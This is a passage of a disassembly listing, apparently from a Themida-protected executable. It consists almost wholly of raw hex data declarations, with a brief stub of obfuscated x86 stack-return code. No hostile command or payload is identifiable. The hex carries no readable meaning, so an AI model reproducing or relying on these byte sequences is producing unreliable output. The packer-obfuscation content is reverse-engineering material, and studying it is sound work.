		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C35545h, 12D6BA54h
		dd 11E8h, 0CD6A9C00h, 0FEC03223h, 0DF188258h, 85ED38A4h
		dd 0C580BE50h, 858D5A0Dh, 61872BCh, 29950960h, 66061508h
		dd 61D3CBBFh, 8BB5D0FFh, 0EC05B9BFh, 1D85893Ch,	6A06150Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 283CC350h, 0DE9h,	595D8500h, 4CC1E0AFh, 0D204B7B8h
		dd 0BD83510Dh, 6150651h, 0F1850F00h, 0E8000000h, 0Eh, 9E7A0DC5h
		dd 4C3C8B8Fh, 1A456A5h,	0C65A1476h, 1509C585h, 9D895606h
		dd 61504E5h, 2EEA7268h,	8112B6E6h, 874B2434h, 6A3231h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0EE99DC3h, 0E4000000h, 0E9AEE235h, 781020D2h, 1E974620h
		dd 0FF9AB20Ch, 152811B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0D55BEC4Ch
		dd 7FF73ADDh, 25950960h, 0E906152Ah, 0Fh, 153276B7h, 0A3D8AC74h
		dd 7B70FCBDh, 61CFABA5h, 72BC858Dh, 6A0618h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 8859DCC3h
		dd 0F140CD09h, 8E8h, 0B7ED6200h, 0ADC39C23h, 0ADBD33D6h
		dd 59061506h, 0B9CA8153h, 5A0360C0h, 8589D0FFh,	6150651h
		dd 9C585C6h, 6A6C0615h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0B324C355h,	0F1817B73h
		dd 4DE19A3Dh, 5E9h, 9FB2FA00h, 4E8B539h, 83000000h, 66DB0570h
		dd 508076BAh, 71BF5353h, 5A39D691h, 24448B5Fh, 50008B04h
		dd 0FCE8B52h, 0B8666031h, 5950C758h, 89585A61h,	0F042444h
		dd 0A86h, 5E900h, 72A70000h, 5862D283h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0E6C35040h, 265A7117h
		dd 7E8h, 79165900h, 0B8117847h,	10E8h, 0EA812E00h, 0CEA08E4Fh
		dd 0B4F00D8Bh, 5BEBA2B1h, 5961605Ah, 85B5FF5Fh,	31061516h
		dd 150C298Dh, 38858D06h, 6A06153Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A714C352h
		dd 175D23C6h, 0B589604Eh, 6152B3Dh, 1371B529h, 0FF610615h
		dd 65BD8BD0h, 89061506h, 18AAFF85h, 9E806h, 16BC0000h
		dd 4AF3D46h, 5A815A0Ah,	0AB1BBD83h, 0F000618h, 0EF85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A352A0A2h, 0DD6E473Fh, 0E78166C5h, 85C6A5F6h
		dd 61509C5h, 68FE8B49h,	4F67B029h, 12E9h, 18ACB400h, 0A44A8ED9h
		dd 7FD81845h, 17A52FDBh, 81889126h, 79C02404h, 0DA803CADh
		dd 85B5FFDAh, 6A061516h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0E489C355h,	0AF6FB615h
		dd 0ABE0F926h, 46D4BF66h, 0AE98D8Bh, 858D0615h,	6153B38h
		dd 48B0Fh, 0BF660000h, 0D0FF3828h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 80C35747h, 0BF329011h, 50AEEA81h
		dd 85893C6Fh, 618AB1Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 28C35545h, 441502E5h,	0FDAE0E53h, 12E8046Ah
		dd 0F6000000h, 88DF4CEEh, 969294DFh, 0DF1AA112h, 0A5E26236h
		dd 0FBB70F2Ch, 359E6859h, 6656BD2Fh, 5A3348B9h,	62240481h
		dd 6A42D0DAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 2B46C356h, 152FD9BDh, 4E806h
		dd 0
		dd 0B5530001h, 0B65059A0h, 24448B36h, 8BEE8A04h, 14E900h
		dd 91E00000h, 0EA9C7C22h, 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h
		dd 44892783h, 0BF660424h, 80586777h, 6A3DF6h, 33899589h
		dd 95FF0615h, 6151519h,	85295260h, 61517F1h, 0D2816659h
		dd 8961B1E5h, 18AB0B85h, 12E906h, 57780000h, 0A032C32Bh
		dd 6FD42942h, 27525CDDh, 79ADAC37h, 0C7D08B66h,	18AB0385h
		dd 6, 0C8E0F00h, 0F000000h, 684h, 5BD0900h, 6A06150Ah
		dd 5E900h, 6A7E0000h, 6801D5E7h, 6D892A57h, 95F9BA60h
		dd 50514A4Dh, 5A310F52h, 81615E58h, 2A572434h, 8D8B6D88h
		dd 6152445h, 0E279B990h, 56500296h, 8D8B905Ah, 6150C5Dh
		dd 8D030B6Ah, 6150719h,	0AAD8858Dh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 2379AAC3h
		dd 7E9h, 0FE9B3800h, 72D65A81h,	0A5BE6090h, 66799196h
		dd 5061FA8Bh, 1CBE6060h, 0E809EFB1h, 0Fh, 73B021Bh, 3F83F5B5h
		dd 125BE367h, 5A1BD834h, 0DE861h, 0BB520000h, 93B53D64h
		dd 0E5095046h, 53EF4D69h, 90615A58h, 95FFCE8Ah,	6150481h
		dd 4B97D281h, 0FE95F23h, 0D0000000h, 0A71E008Ch, 0E34E49E0h
		dd 0DDCFF130h, 0B58D217Ch, 618AAE2h, 19118D29h,	66500615h
		dd 896D49BAh, 0BD892434h, 6150235h, 2850Fh, 86B20000h
		dd 8D0F5350h, 6, 840Fh,	895A0000h, 0FFF82404h, 150E1D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 78D56CD8h, 0BFC2182Fh, 0EE9513Ah, 0E3000000h
		dd 529F4505h, 3554C198h, 59662652h, 0BD18BA2h, 2C850FC0h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B7CCC356h, 0FAC59408h, 0FEB70FD5h
		dd 6CFE9h, 0FFFCF800h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0ED18204Ah, 825DC465h
		dd 0D08B66ABh, 0AB0BB58Bh, 0E9600618h, 14h, 554E2349h
		dd 0A34FB501h, 50342A6Ah, 72DACB7h, 7B818107h, 68B0Fh
		dd 958B0000h, 6152781h,	20468D61h, 0BE5BD29h, 46A0615h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7AC35545h
		dd 25559589h, 0E9900615h, 10h, 6FB2AA33h, 5673206Bh, 6D142ACAh
		dd 835ABC38h, 9E850h, 0DA9D0000h, 80222DA9h, 5FAC7527h
		dd 0FFCA8B90h, 18AB1B95h, 81666006h, 8B5431C7h,	152A858Dh
		dd 0C00B6106h, 82840Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 96711BC3h, 8BD93A77h
		dd 15019DBDh, 8E906h, 20890000h, 99E28E21h, 0CDE93D3Fh
		dd 6A000005h, 3E85500h,	20000000h
; ---------------------------------------------------------------------------


loc_5B5100:				; DATA XREF: Themida_:0057BF84o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Dh
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dw 628Bh
		dd 5AC534E5h, 0FECEFD12h, 0DE9h, 0E9562000h, 9CDF80AAh
		dd 0D8818CFFh, 16BF34DEh, 0E97192A8h, 8, 4F9B87E3h, 5B4148A9h
		dd 207E80h, 57A840Fh, 8E80000h,	0D000000h, 723A1628h, 0FCABB38h
		dd 605AD7BFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	5FC35242h, 71BDD6AFh, 0ADB52960h, 8D061511h, 6A2046h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0CDBBC1C3h, 99FE63EAh, 0D78166E3h, 85897EA4h, 618AB07h
		dd 3CDB589h, 0CFE90615h, 0E9000000h, 8,	0BB20E33Eh, 6FCC5412h
		dd 2731958Bh, 6A400615h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 607AC352h, 0C0E80D13h
		dd 0F6125D94h, 4DBD3352h, 5F061515h, 24048950h,	6AD3BF0Fh
		dd 50EE8A04h, 0EE9h, 7D8BDE00h,	5F9F683Bh, 55DA7197h, 89665275h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0A78BD8C3h, 95FFAF87h, 618AB1Bh, 1D8D8529h
		dd 0D88B0615h, 856574B9h, 6A5859h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 583743C3h, 0A18D8995h
		dd 0B061507h, 0B840FDBh, 0E9000000h, 43Ch, 18AD958Bh, 38800615h
		dd 3B850F00h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2CC9C356h, 38EF120Ch
		dd 8C0FBB8Eh, 6, 1DDD8D8Bh, 0D18B0615h,	2BE9h, 11E800h
		dd 0A7B80000h, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h, 0FAF402Bh
		dd 4859CFB7h, 0A830Fh, 8B600000h, 800FD7h, 61000000h, 0AB07853Bh
		dd 820F0618h, 53h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0BDC35040h, 0F90E018h, 3880D2B7h, 28840F5Ch
		dd 0F000000h, 0E8Ch, 9D896000h,	61517E9h, 57D9D89h, 80610615h
		dd 850F2F38h, 0FFFFFF9Bh, 67E2D281h, 81661A6Ah,	4008F5E9h
		dd 0FBD83F9h, 618ABh, 17B840Fh,	0D6800000h, 4895078h, 0B5F68024h
		dd 3CFBF0Fh, 18AB0F85h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 47808230h, 0D8590C89h
		dd 0DE986h, 0E0BF0000h,	13F5C531h, 0AB7A6870h, 50342B2Ah
		dd 0A0C0BA50h, 895A7E6Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0CE0DD1C3h, 0A3C49CEh
		dd 8B601402h, 1519698Dh, 38E48006h, 60046A61h, 0ED9D8Bh
		dd 95330615h, 6151539h,	0F38A9061h, 95099050h, 615072Dh
		dd 0AB1B95FFh, 958B0618h, 6152E2Dh, 9E9D88Bh, 0E6000000h
		dd 0DA6AB3EDh, 0A56B1210h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FDB0BECh
		dd 5884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 82531856h, 25BE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0C71EA03Eh, 69D01DF5h, 5E942h, 8BBD0000h, 0F53568Ah
		dd 83h,	0C600h,	291BD33h, 6A580615h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C1A2C350h
		dd 628EA13Eh, 1FD8D89h,	0DE80615h, 30000000h, 0FB420A7Ch
		dd 40F9C61Dh, 0F703AC6Dh, 489505Ah, 0CDB58924h,	6A061524h
		dd 0CC71B91Eh, 0D78B0672h, 82F4BF50h, 4893416h,	6890F24h
		dd 1000000h, 15251195h,	1B95FF06h, 0E90618ABh, 9, 1B797235h
		dd 800D1BDBh, 0D2816618h, 0D88B6B85h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 87C35545h, 0B9AF283Ch, 23568056h
		dd 152F818Dh, 10E95A06h, 0D8000000h, 0E0E4DE88h, 8A098FECh
		dd 9C3717FCh, 58358DD7h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 6EC35242h, 0AC1BD89h,	0DB0B0615h, 5D840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0F0B3D3C3h, 2CDB529h, 95890615h, 61510C9h
		dd 107E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 958040B6h, 508F5D0Bh, 5E958h, 0B60C0000h
		dd 502E48D0h, 489C5B5h,	0FBB5FF24h, 6A0618AAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B1AFC355h, 923D1BABh, 0FFD78BC5h, 18AAFF95h, 8D8B6006h
		dd 6152281h, 7AD88166h,	0C00B6188h, 58850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0A553F1C3h, 0C88B6C33h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C7CA8B26h
		dd 18AB0385h, 106h, 0E917B100h,	3Ch, 2C658D8Bh,	66610615h
		dd 8126F6BFh, 11CC6h, 0E9D48A00h, 0FFFFF9ADh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1FC35646h, 39654041h
		dd 4AF58013h, 4E8h, 800000h, 0F525000h,	86BA6631h, 50585A6Ah
		dd 424448Bh, 0B11BF66h,	8E8008Bh, 78000000h, 53C31A7Dh
		dd 6610909Fh, 5A34BBB9h, 4244489h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0AC58F826h
		dd 2B006A3Ch, 1517258Dh, 0BB5FF06h, 0E90618ABh,	0Dh, 0C2131F23h
		dd 513FDDB8h, 0C129A97Eh, 0FD95297Bh, 0FF061501h, 15065195h
		dd 0EE906h, 0F68B0000h,	1EC4107Ch, 3C1DE903h, 1324D99Eh
		dd 0AB03858Bh, 0BD8B0618h, 6153035h, 895F5250h,	6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 2905BAC3h, 152D159Dh, 13858D06h, 8A0618ABh, 0EE8A50CEh
		dd 51240489h, 0FF7709BAh, 858D5F27h, 618AAD0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B6C35141h, 0F926AF6Fh
		dd 50F8ABE0h, 0EE8h, 0FCEB6D00h, 2E8EB5E6h, 8D28BA4Eh
		dd 66D57650h, 5A3BC3BFh, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 5DBCC350h
		dd 26CD95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0AA7D48C3h, 0BD09605Ch, 615300Dh
		dd 19658D8Bh, 1610615h,	1507099Dh, 81C08B06h, 0A25FD8F1h
		dd 0F5BD837Dh, 61508h, 0BD830975h, 61503ADh, 50137400h
		dd 0B8C08B53h, 4D0h, 0A8D99D8Dh, 0D3FF0617h, 0BD83585Bh
		dd 61503ADh, 50117400h,	4D0B853h, 9D8D0000h, 617A7D8h
		dd 585BD3FFh, 6AFAB70Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 269C357h, 0F5895F71h
		dd 0BD23C08Bh, 6152311h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 5A2E42EFh, 0AE92Dh, 28360000h
		dd 0E5F9E599h, 1DB34E19h, 6A0008C2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 77BEC351h
		dd 91B58952h, 29061503h, 151DB5BDh, 0FC08B06h, 858DD3B7h
		dd 618AB2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	32C35343h, 8922F180h, 15037585h, 75E906h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	1685B5FFh, 858D0615h, 61872BCh
		dd 8589D0FFh, 61514EDh,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 14ED95FFh, 32E90615h, 0C6000000h, 1509C585h
		dd 0DF685606h, 0FFA9C530h, 152811B5h, 0BC858D06h, 0FF061872h
		dd 198589D0h, 8D061530h, 151E7585h, 206A5006h, 0FF56056Ah
		dd 15301995h, 0C1C36106h, 39EB06E0h, 0AF0000h, 0AF02CCh
		dd 0AF02E4h, 0
		dd 440B9CDDh, 75129093h, 21039803h, 4C089C42h, 4D02DBF7h
		dd 7528F521h, 212AB9E2h, 5129811Dh, 49329BCCh, 450790A6h
		dd 0E1ED956Ah, 2C6B4036h, 9CE5F38Fh, 2773FDB8h,	0A26F80A6h
		dd 346558EEh, 3812F5AFh, 0E1EDA684h, 21624CD2h,	0A4E37C35h
		dd 0AC60E089h, 36CC6BD0h, 7AB50AA0h, 8CDB760Bh,	2160E0AAh
		dd 7236E2A0h, 21624CD2h, 0A4E37C35h, 0AC60E089h, 36C178D0h
		dd 7AB50AA0h, 72669F0Bh, 2166F641h, 0E23DD5D4h,	53A7C31h
		dd 5227431h, 2166EF9Eh,	0E235B64Dh, 711BEB30h, 4B270395h
		dd 228EA7A9h, 166F5D4h,	0A83C3630h, 0A062D161h,	3D62D1DEh
		dd 6366F54Dh, 0A44E36F4h, 0D31ACDFEh, 97D4DDE0h, 4BA67E4Dh
		dd 228EA76Ah, 166F535h,	0A83C36C0h, 0A062D119h,	3D62D1E2h
		dd 6366F553h, 878336FBh, 0D63A0531h, 0E7C1E4EBh, 346F30B0h
		dd 9C4FA39Ch, 2773E8B0h, 743482Dh, 0A90EF346h, 9B8783C3h
		dd 139388C3h, 0FB42C1EBh, 2E1B2BE7h, 94990E25h,	2773DD5Ch
		dd 0EA7688Fh, 0A4EBF346h, 277E8715h, 0C935F5BEh, 2166F569h
		dd 7AA5AE15h, 2542A913h, 2542B1CCh, 2166F5BAh, 0CDA5A610h
		dd 98D64C98h, 5C8AFBB5h, 9CEF2595h, 2773C124h, 210CF1F0h
		dd 21651D1Fh, 7B46F5A6h, 75EFAF90h, 65E7F18Dh, 217EF1F0h
		dd 7324F56Ah, 0DEEB24F6h, 820E28EDh, 47E8DD20h,	25E7222Dh
		dd 0F6C4A877h, 216C1CD8h, 847F5D4h, 0C4876963h,	27A69FC4h
		dd 2166F172h, 2164194Dh, 0D02D4FA6h, 7136BF4Ah,	0C834A5FBh
		dd 2166F5C6h, 66B3508Fh, 463469B1h, 0B10B29C6h,	95055DB3h
		dd 1069FB5Ch, 1069A703h, 793CADF3h, 4DD9C4DBh, 7B1BB3AEh
		dd 5227E6Dh, 0A8667E9Eh, 0C862D109h, 2166F5B5h,	0C9483551h
		dd 2605DC42h, 2D0535F9h, 0F7F75971h, 79DD1B8Ah,	0C933F5F0h
		dd 2166F54Eh, 7CA5A886h, 254299DAh, 2542B128h, 2166F5C2h
		dd 16A5A02Fh, 210CE6ECh, 2B8F7811h, 0F199F358h,	0FDF602Dh
		dd 0A4EFF346h, 277E4A24h, 0D9ED3F5Fh, 2164396Fh, 0B0E37C35h
		dd 0A260ED25h, 0A4EFED8Dh, 277E4A33h, 0CDDF3560h, 0D266F5ABh
		dd 0E7ED957Eh, 2166FA83h, 52D73235h, 0D6B9548Bh, 0A0B03E47h
		dd 79C0BB64h, 70669F32h, 2166F641h, 0E23FD5D4h,	52A7C33h
		dd 5227431h, 2166EE9Eh,	0E237B44Dh, 0A5035886h,	7395D69h
		dd 51F489Ah, 0A4A0F3C1h, 2773FCAFh, 25EEFA76h, 4766F59Ah
		dd 0C82733F4h, 2166F5B5h, 0AF291FD2h, 2CED3B09h, 83D74124h
		dd 693CAE81h, 49DC3AEDh, 91B23B58h, 15E73DC6h, 92C36982h
		dd 0E8D37E7Fh, 0AA60E0A8h, 346FF469h, 30D30A6Ch, 0AA60E01Dh
		dd 34716C17h, 9DE3784Bh, 4B60EDD4h, 228EA053h, 166F5A9h
		dd 0A83B3689h, 0A062D106h, 3562D171h, 6466F59Ah, 47493618h
		dd 28002327h, 0AA0025ACh, 0D0E37C57h, 1060E0FEh, 347754E7h
		dd 216C1D33h
		db 9Ah,	0F5h
word_5B5CDE	dw 9968h		; DATA XREF: Themida_:00579FF8o
		dd 10BC60D4h, 0D2D66619h, 2166FCBAh, 210BB9A9h,	173F67BDh
		dd 0AC38E95Eh, 347708B0h, 71669F9Ch, 2166F6A5h,	0E23ED5A6h
		dd 5227C0Bh, 52274ADh, 2166E9D0h, 0E236B56Ah, 247BFD33h
		dd 9F0A7E45h, 0E8D37CB8h, 0A860E0A3h, 34408CD6h, 0C8D37EAFh
		dd 0E760E0F8h, 346F30EFh, 0AA06A633h, 54F37C60h, 4060E06Bh
		dd 175F5CCEh, 0A0947EE5h, 2E49D1ADh, 0AD69B3AFh, 2166F56Bh
		dd 94990CC0h, 2773DD8Bh, 0AC9C4242h, 39144923h,	71669F55h
		dd 2166F641h, 0E23ED5D4h, 5227C32h, 5227431h, 2166E19Eh
		dd 0E236B54Dh, 216A1C83h, 60B3F553h, 0CFB7D8F7h, 6D4241E1h
		dd 0D0E7B9E7h, 659D88Eh, 210C2565h, 21651D1Eh, 7A46F5A6h
		dd 7DEFAE90h, 65E7F18Dh, 217EF1F0h, 7225F56Ah, 2B6BA0F6h
		dd 0A0699453h, 2166F54Eh, 0A89142A9h, 3448D4D6h, 1CD37EAFh
		dd 0E760E0D0h, 346F30EFh, 1DD7A633h, 86CF4CF2h,	21631DF2h
		dd 0EF39F5A6h, 988A205Bh, 75EA8FC8h, 562748Ah, 3917EF90h
		dd 2166FDDCh, 1146C79Ah, 0E071DB9h, 30D30AADh, 2E60E07Bh
		dd 2166F322h, 0D8D3C6D4h, 0AC60E06Dh, 391449B0h, 15354C9Ch
		dd 0F199ED19h, 0C937F5CCh, 2166F550h, 78A5AC89h, 2542B95Dh
		dd 2542B1EBh, 2166F52Dh, 5AA5A4DBh, 221379DEh, 9E693D2Dh
		dd 0C0E37CA5h, 0A60E0B9h, 3477F069h, 0E4E3336Ch, 6660E03Ch
		dd 81F48B1h, 258EF358h,	8866F5A6h, 2ED12B8Eh, 2166F827h
		dd 0A96995D4h, 2166F56Ah, 2527088Ah, 0C93694AEh, 2166F559h
		dd 0E0B3D286h, 0D0A5B53Ch, 2750FED1h, 0CF28EF62h, 2644BFBEh
		dd 2166E4DDh, 0F546439Ah, 5271DD99h, 0A7376299h, 0F1EF164Eh
		dd 0AA00A70Ch, 0AA39AA05h, 0C962D12Eh, 2166F53Dh, 899CD304h
		dd 0C07FBB52h, 0AA38022Dh, 5227C53h, 216C1CADh,	0D506F5D4h
		dd 0FBDDDD32h, 3E65A152h, 72669FC2h, 2166F6A5h,	0E23DD5A6h
		dd 53A7C08h, 52274ADh, 2166E9D0h, 0E235B66Ah, 4CC45E87h
		dd 0D154069Ch, 0F5DF938Eh, 30D30A8Bh, 4B60E07Bh, 228EA6A9h
		dd 166F5D4h, 0A83D3631h, 0A062D169h, 3962D1DEh,	6266F54Dh
		dd 2C7836F5h, 415A2216h, 2166E440h, 2F59E1D4h, 3E2BEC88h
		dd 300866A8h, 0D1769DCCh, 0AA004E9Ch, 0ACED945Fh, 2773D8C2h
		dd 64621A28h, 0A4EB8BD7h, 277E87D6h, 0BD3481Ch,	94EDF38Fh
		dd 2773E3DCh, 210C2559h, 21651D00h, 7A46F5A9h, 7DEFAE17h
		dd 65E7F14Eh, 217EF111h, 7225F59Ah, 0A6D4878Eh,	0B4EF69D6h
		dd 2773D61Eh, 35337020h, 210CF3C1h, 21651D39h, 7A46F535h
		dd 7DEFAE59h, 65E7F169h, 217DF182h, 7225F553h, 43F3646Ah
		dd 0D338B9EBh, 0A8987E69h, 3443A8A0h, 0E4E3339Ch, 6660E044h
		dd 258E3B2Ch, 5B66F553h, 71E729B9h, 2166E73Ch, 90F4046Ah
		dd 0D7B8FF65h, 199501D3h, 4390AC9Fh, 0C8FD9A84h, 2166F554h
		dd 0A8C5B14Ch, 7E99AF44h, 2542B1E1h, 21ED00BFh,	65EF0D11h
		dd 0AA00F169h, 210CAD77h, 21651D04h, 7E46F5A9h,	5DEFAA17h
		dd 65E7F14Eh, 2171F111h, 7621F59Ah, 5C00378Eh, 34DB7E0Eh
		dd 0AA60E07Ch, 30D30A51h, 4B60E0FCh, 228EA46Ah,	166F535h
		dd 0A83F36C3h, 0A062D101h, 3B62D1E2h, 6066F553h, 0D81D36F8h
		dd 0BE909977h, 10DB7E77h, 0AC60E025h, 3914491Fh, 71669F4Bh
		dd 2166F64Eh, 0E23ED553h, 5227CF1h, 52274D0h, 2166EC6Eh
		dd 0E236B535h, 0F1FAD76Bh, 0AA00EF33h, 4BB60A54h, 228EA553h
		dd 166F5A9h, 0A83E368Ch, 0A062D12Eh, 3662D171h,	6166F59Ah
		dd 5A67361Dh, 0A4EF5A42h, 2773E626h, 0E7A942A6h, 346F3051h
		dd 210CB26Ch, 21651D64h, 7846F59Ah, 6DEFAC8Eh, 65E7F182h
		dd 217CF177h, 7027F5A9h, 43612717h, 976C4D23h, 203B60BCh
		dd 258EF38Fh, 7C66F54Dh, 0C8CC389Ah, 2166F55Bh,	8B7951BDh
		dd 4CDC20B2h, 0EBED933Ah, 2542B1BEh, 7F37F511h,	2542B1C4h
		dd 77669FFEh, 2166F6BBh, 0E238D5A9h, 5127C8Ah, 522746Eh
		dd 2166E331h, 0E230B39Ah, 47D4BDA9h, 0DE89B91Fh, 344EE4E6h
		dd 0B8FBFCAFh, 0AC60E0F0h, 391449EFh, 70669F33h, 2166F672h
		dd 0E23FD54Dh, 52A7CFFh, 5227457h, 2166EDADh, 0E237B4D4h
		dd 35C7B119h, 21691C47h, 8AB1F59Ah, 0C90C5C5Ch,	0AC3AB321h
		dd 8577D98Fh, 4BB60A93h, 228EA4D4h, 166F56Ah, 0A83F366Ch
		dd 0A062D1D6h, 3C62D109h, 6066F5A6h, 0B13A3602h, 0A103547Eh
		dd 875677D4h, 0A80317EAh, 347ED0B0h, 77669F9Ch,	2166F6A5h
		dd 0E238D5A6h, 5127C0Dh, 52274ADh, 2166E1D0h, 0E230B36Ah
		dd 0F1990C0Bh, 0C933F5F0h, 2166F54Eh, 7CA5A886h, 254299DAh
		dd 2542B128h, 2166F5CEh, 4EA5A02Fh, 0F16FC0C0h,	298FD5BFh
		dd 7566F54Dh, 11A2C7F9h, 0A8B4E0FBh, 346AB02Ch,	71669FD2h
		dd 2166F682h, 0E23ED535h, 5227CC2h, 5227449h, 2166EEA2h
		dd 0E236B553h, 2AA9FA90h, 0A229E0FBh, 2166F882h
		db 35h
byte_5B6219	db 0D1h, 86h, 0Dh	; DATA XREF: Themida_:0057AEE8o
		dd 0D5D582CFh, 30D94A60h, 7E9E7E73h, 21631C33h,	0BF2FF5A9h
		dd 0A8681088h, 34724CD7h, 0AD009433h, 20F37E42h, 560E04Ah
		dd 70669FA2h, 2166F6BBh, 0E23FD5A9h, 52A7C8Dh, 522746Eh
		dd 2166E031h, 0E237B49Ah, 2F8F80E6h, 1666F5A6h,	0F102459Dh
		dd 0DFF8EE5Fh, 8C9C987Ah, 0E16C0D8Dh, 2244713Ah, 0AC57F59Ah
		dd 2773D3A0h, 31EF482Dh, 0A4A0F346h, 2773FC6Ch,	74669F9Bh
		dd 2166F682h, 0E23BD535h, 50A7CC7h, 5227449h, 2166E3A2h
		dd 0E233B053h, 0D9C565C1h, 0BAC1C0BCh, 21691CDFh, 8D85F535h
		dd 737F6403h, 75A8060Fh, 4D4104BEh, 56274C9h, 28823026h
		dd 0A2036C6Eh, 30D30A4Fh, 0A160E01Dh, 0A4EB055Bh, 277E87F1h
		dd 0C930F5CCh, 2166F550h, 7FA5AB89h, 2542815Dh,	2542B1EBh
		dd 2166F52Ch, 92A5A3DCh, 98E506Bh, 4185474Dh, 390768D8h
		dd 9669F3BCh, 0F199941Ch, 0C934F500h, 2166F536h, 7BA5AFBAh
		dd 2542A1C4h, 2542B127h, 2166F549h, 0AFA5A7EBh,	0B3CC664Dh
		dd 0AC676C36h, 2773DF0Ch, 22423519h, 3448F4D8h,	8CE37CA0h
		dd 4B60E05Eh, 228EA3A9h, 166F5D4h, 0A8383634h, 0A062D141h
		dd 3762D1DEh, 6766F54Dh, 34D436F0h, 0F4F37CA7h,	0A860E0ACh
		dd 34446451h, 64E37E6Ch, 7060E039h, 21657F95h, 0AA00F54Dh
		dd 0BCEDAC56h, 2773ED76h, 0C937F5C3h, 2166F5D7h, 78A5AC4Ah
		dd 2542B9BCh, 2542B11Bh, 2166F551h, 0EA5A4E7h, 1CB27245h
		dd 459D3E8Ch, 216072DBh, 0B4EDF56Ah, 2773F854h,	0DAED93D9h
		dd 0D906EEC6h, 3FEF482Fh, 0AA07F346h, 28FBC4B2h, 0AA60E0F3h
		dd 76669F71h, 2166F6DDh, 0E239D59Ah, 51A7C12h, 52274A2h
		dd 2166E057h, 0E231B2A9h, 129F035Fh, 9C6D0CB2h,	2773DD78h
		dd 38D36813h, 210CF358h, 21651DF3h, 7C46F553h, 4DEFA86Ah
		dd 65E7F1F0h, 217CF14Eh, 7423F535h, 792E2F59h, 0E5BE4251h
